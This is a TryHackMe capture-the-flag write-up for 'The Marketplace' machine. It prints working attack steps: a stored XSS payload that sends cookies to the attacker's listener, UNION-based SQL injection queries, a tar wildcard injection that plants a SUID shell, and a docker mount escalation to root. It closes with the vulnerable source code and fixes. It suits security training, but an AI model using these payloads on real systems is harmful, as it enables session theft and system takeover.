The Marketplace : TryHackMe
The sysadmin of The Marketplace, Michael, has given you access to an internal server of his, so you can pentest the marketplace platform he and his team has been working on. He said it still has a few bugs he and his team need to iron out. Can you take advantage of this and will you be able to gain root access on his server?
This machine has a vulnerable web application where we can use XSS to get the admin’s cookie and gain admin access. Admin panel has SQLi vulnerability, using this we get SSH access to machine. Use tar wildcard vulnerability for horizontal privilege escalation and the escalated user is in docker group so we can create a docker container and mount the root directory to the container to gain root access.
Nmap Scan
# Nmap 7.80 scan initiated Sun Oct 18 06:03:59 2020 as: nmap -sS -A -T4 -o nmap 10.10.150.107
Nmap scan report for 10.10.150.107
Host is up (0.18s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA)
| 256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA)
|_ 256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (ED25519)
80/tcp open http nginx 1.19.2
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-server-header: nginx/1.19.2
|_http-title: The Marketplace
32768/tcp open http Node.js (Express middleware)
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-title: The Marketplace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Adtran 424RG FTTH gateway (86%), Linux 2.6.32 (86%), Linux 2.6.32 - 3.1 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 178.71 ms 10.8.0.1
2 179.51 ms 10.10.150.107
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 18 06:04:36 2020 -- 1 IP address (1 host up) scanned in 37.31 seconds
sS : TCP syn scan
A : Version, default script, OS detection, traceroute
T4 : Faster scan
o : output the scan
Port 80 and 32768 has same webpages.
Port 80It has robots.txt file with /admin entry.
So we can login or signup
Since the robots.txt had /admin entry.
/admin
I tried SQLi in the login page but could not find anything. So signed up to the webapp.
Logged in
New Listing page posts the data to home page. Here I tried XSS
Payload
<script>fetch("http://10.8.31.73:8000/"+document.cookie)</script>ro
Listen for request on my machine
$ python3 -m http.server
After hitting submit we get our cookie as request on our server
10.8.31.73 - - [18/Oct/2020 07:30:09] code 404, message File not found
10.8.31.73 - - [18/Oct/2020 07:30:09] "GET /token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjQsInVzZXJuYW1lIjoicm8iLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTYwMzAzODQ0M30.qoodJ0Jsx0aXK8NIs1g3RImqRU-VAsL7VMb8LNs_G4o HTTP/1.1" 404 -
So now we need some way so that admin clicks on this site and we get his/her cookie
Report listing to admins does this.
After reporting we get the admin’s token cookie
10.10.87.36 - - [18/Oct/2020 07:32:44] code 404, message File not found
10.10.87.36 - - [18/Oct/2020 07:32:44] "GET /token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MDMwMzg3NjN9.CK10X5v85_ZO4PlVMm_XLJbfbGWL6eb8FONW535fNM0 HTTP/1.1" 404 -
Now if we change the token to the admin’s token we get admin access
Now if we visit /admin
So we have admin access and got first flag as well.
Now if we click on any user
http://10.10.87.36/admin?user=2
User parameter is vulnerable. So
SQL Injection
Number of columns
Lets first find the number of columns used using order by query
http://10.10.87.36/admin?user=2 order by <number>
If we set it to 4 we get the same page as above but if we set it 5 we get error message which means 4 columns are returned.
Determine which columns are reflected
http://10.10.87.36/admin?user=0 union select 1,2,3,4
Since there is no user with id 0 so 1,2,3,4 is returned by the query.
So 1 and 2 are reflected.
Database name
http://10.10.87.36/admin?user=0 union select 1,database(),3,4
database() returns database name
So the database name is marketplace
Tables in database
http://10.10.87.36/admin?user=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='marketplace'
Information_schema has metadata about the database.
Columns in tables
http://10.10.87.36/admin?user=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
Same can be done with other tables as well. There were password hashes but I could not find anything so I enumerated the database further.
Columns in messages
http://10.10.87.36/admin?user=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='messages'
Data from database
Lets get messages. Since we know the columns
http://10.10.87.36/admin?user=0 union select 1,group_concat(message_content,0x2b,user_to),3,4 from messages
0x2b i.e + acts as a delimeter.
So we have SSH password of the user 3. Let’s find the user
http://10.10.87.36/admin?user=3
User : jake
Password : @b_ENXkGYUCAv3zJ
SSH
$ ssh [email protected]
home directory has the second flag
Lets see sudo permissions
jake@the-marketplace:~$ sudo -l
Matching Defaults entries for jake on the-marketplace:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jake may run the following commands on the-marketplace:
(michael) NOPASSWD: /opt/backups/backup.sh
So user jake can run /opt/backups/backup.sh as user michael without password.
jake@the-marketplace:~$ cat /opt/backups/backup.sh
#!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *
Horizontal Privilege escalation
The tar wildcard is exploitable as we can execute any command using tar
$ tar cf /opt/backupd/backup.tar --checkpoint=1 --checkpoint-action=exec=sh ro.sh
This can be used to gain access
Lets create files --checkpoint=1
--checkpoint-action=exec sh [ro.sh](http://ro.sh)
ro.sh
ro.sh has the payload
jake@the-marketplace:~$ echo "fasdfa" > '--checkpoint=1'
jake@the-marketplace:~$ echo "dfadf"> '--checkpoint-action=exec=sh ro.sh'
contents of ro.sh
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
Adds a suid bit to the bash binary so that we can gain access to the user michael
Lets run the exploit
jake@the-marketplace:~$ sudo -u michael /opt/backups/backup.sh
Backing up files...
tar: user.txt: Cannot open: Permission denied
tar: Exiting with failure status due to previous errors
sudo -u michael to run the script as michael
user.txt permission denied so lets change the permission to 777
jake@the-marketplace:~$ chmod 777 user.txt
jake@the-marketplace:~$ sudo -u michael /opt/backups/backup.sh
Backing up files...
jake@the-marketplace:~$
Lets look at /tmp
jake@the-marketplace:~$ ls -la /tmp
total 1124
drwxrwxrwt 9 root root 4096 Oct 18 17:09 .
drwxr-xr-x 23 root root 4096 Aug 23 08:18 ..
-rwsr-sr-x 1 michael michael 1113504 Oct 18 17:09 bash
drwxrwxrwt 2 root root 4096 Oct 18 16:03 .font-unix
drwxrwxrwt 2 root root 4096 Oct 18 16:03 .ICE-unix
drwx------ 3 root root 4096 Oct 18 16:03 systemd-private-af6d0431990545168451ab6c149be899-systemd-resolved.service-kchEIo
drwx------ 3 root root 4096 Oct 18 16:03 systemd-private-af6d0431990545168451ab6c149be899-systemd-timesyncd.service-0QCqil
drwxrwxrwt 2 root root 4096 Oct 18 16:03 .Test-unix
drwxrwxrwt 2 root root 4096 Oct 18 16:03 .X11-unix
drwxrwxrwt 2 root root 4096 Oct 18 16:03 .XIM-unix
bash has suid bit
Lets access bash as user michael
$ /tmp/bash -p
bash-4.4$ id
uid=1000(jake) gid=1000(jake) euid=1002(michael) egid=1002(michael) groups=1002(michael),1000(jake)
Lets add ssh key to the user michael
$ mkdir /home/michael/.ssh
$ echo "my-pub-key' > /home/michael/.ssh/authorized_keys
Now let’s ssh as user michael
$ ssh [email protected]
User michael is in docker group. Which means we can escalate to root using docker
uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker)
Vertical privilege Escalation
Docker Privilege Escalation
Lets view Available images
michael@the-marketplace:/tmp$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
themarketplace_marketplace latest 6e3d8ac63c27 6 weeks ago 2.16GB
nginx latest 4bb46517cac3 2 months ago 133MB
node lts-buster 9c4cc2688584 2 months ago 886MB
mysql latest 0d64f46acfd1 2 months ago 544MB
alpine latest a24bb4013296 4 months ago 5.57MB
So we have many images. Lets use apline to create a container
$ docker run -v /:/mnt --rm -it alpine sh
-v /:/mnt to mount the root directory of host to /mnt inside the container
—rm : remove the container after the user exits
-it : interactive and assigna tty
alpine : image to use to create container
sh : binary to run when the container starts
michael@the-marketplace:/tmp$ docker run -v /:/mnt --rm -it alpine sh
/ # ls -la /mnt/root/
total 28
drwx------ 4 root root 4096 Aug 23 15:20 .
drwxr-xr-x 23 root root 4096 Aug 23 08:18 ..
lrwxrwxrwx 1 root root 9 Aug 23 05:26 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwxr-xr-x 3 root root 4096 Aug 23 15:20 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Aug 23 03:48 .ssh
-r-------- 1 root root 38 Aug 23 05:25 root.txt
Finally we have the flag. We can add our public key to gain root access.
Vulnerable SQLi Code
router.get('/admin', (req, res, next) => {
if (!req.loggedIn || !req.user.admin) return res.status(403).render('error', {
error: 'You are not authorized to view this page!'
});
if (req.query.user) {
db.query('SELECT * FROM users WHERE id = ' + req.query.user, (error, items, fields) => {
if (error) {
return res.status(500).render('error', {
error
});
}
return res.render('adminUser', {
title: `User ${items[0].id}`,
user: items[0]
});
})
} else {
db.query('SELECT * FROM users', (err, items, fields) => {
if (err) {
return res.status(500).render('error', {
error: 'An error occurred getting user list'
});
}
return res.render('adminPanel', {
title: 'User listing',
users: items
});
})
}
})
SELECT * FROM users WHERE id = ' + req.query.user
user parameter is directly added to the sql query which resulted in the SQLi vulnerability. Had there been prepared statements used SQLi would have been prevented
XSS
Code to store data
router.post('/new', (req, res, next) => {
if (!req.loggedIn) return res.status(403).render('error', {
error: 'Not logged in'
});
if (req.body.title && req.body.description) {
let obj = {
title: req.body.title,
description: req.body.description,
author: req.user.userId,
image: '598815c0f5554115631a3250e5db1719'
}
db.query(`INSERT INTO items SET ?`, obj, (err, results, fields) => {
if (err) {
console.error(err)
return res.status(500).send('An error occurred while adding a new listing');
}
return res.redirect('/item/' + results.insertId);
})
} else {
return res.send(400);
}
})
Data is stored without any filter.
Code to render data
router.get('/item/:id', function (req, res, next) {
const id = parseInt(req.params.id) * 1;
if (isNaN(id)) {
return res.status(404).render('error', {
error: 'Item not found'
});
}
db.query(`SELECT users.username, items.* FROM items
LEFT JOIN users ON items.author = users.id WHERE items.id = ${id}`, (err, items, fields) => {
console.log(err);
**if (items && items[0]) {
const item = items[0];
res.render('item', {
title: 'Item | The Marketplace',
item
})**
console.log(item)
} else {
return res.status(404).render('error', {
error: 'Item not found'
});
}
});
});
Template for rendering data
/mnt/home/marketplace/the-marketplace/views # cat item.ejs
<!DOCTYPE html>
<html>
<head>
<title><%= title %></title>
<link rel='stylesheet' href='/stylesheets/style.css' />
</head>
<body>
<%- include('navigation', { linkToHome: true }) %>
<div id="item">
<a href="/item/<%= item.id %>"><h1><%- item.title %></h1></a>
<img src="/images/<%= item.image %>.jpg" />
<div>Published by <%- item.username %></div>
<div>Description: <br /> <%- item.description %></div>
<div>
<a href="/contact/<%= item.username %>">Contact the listing author</a> | <a href="/report/<%= item.id %>">Report listing to admins</a>
</div>
</div>
</body>
</html>
Still no filter used to render data. This leads to XSS. Had the data been filtered during storage or during render or CSP used the XSS vulnerability leading to access of admin user would have been prevented. Also the cookie did not have property of http only. If it was set, attacker would not have access to the admin cookies.
What I learned
- Take proper care when transmitting credentials
- Adding user to docker group can lead to privilege escalation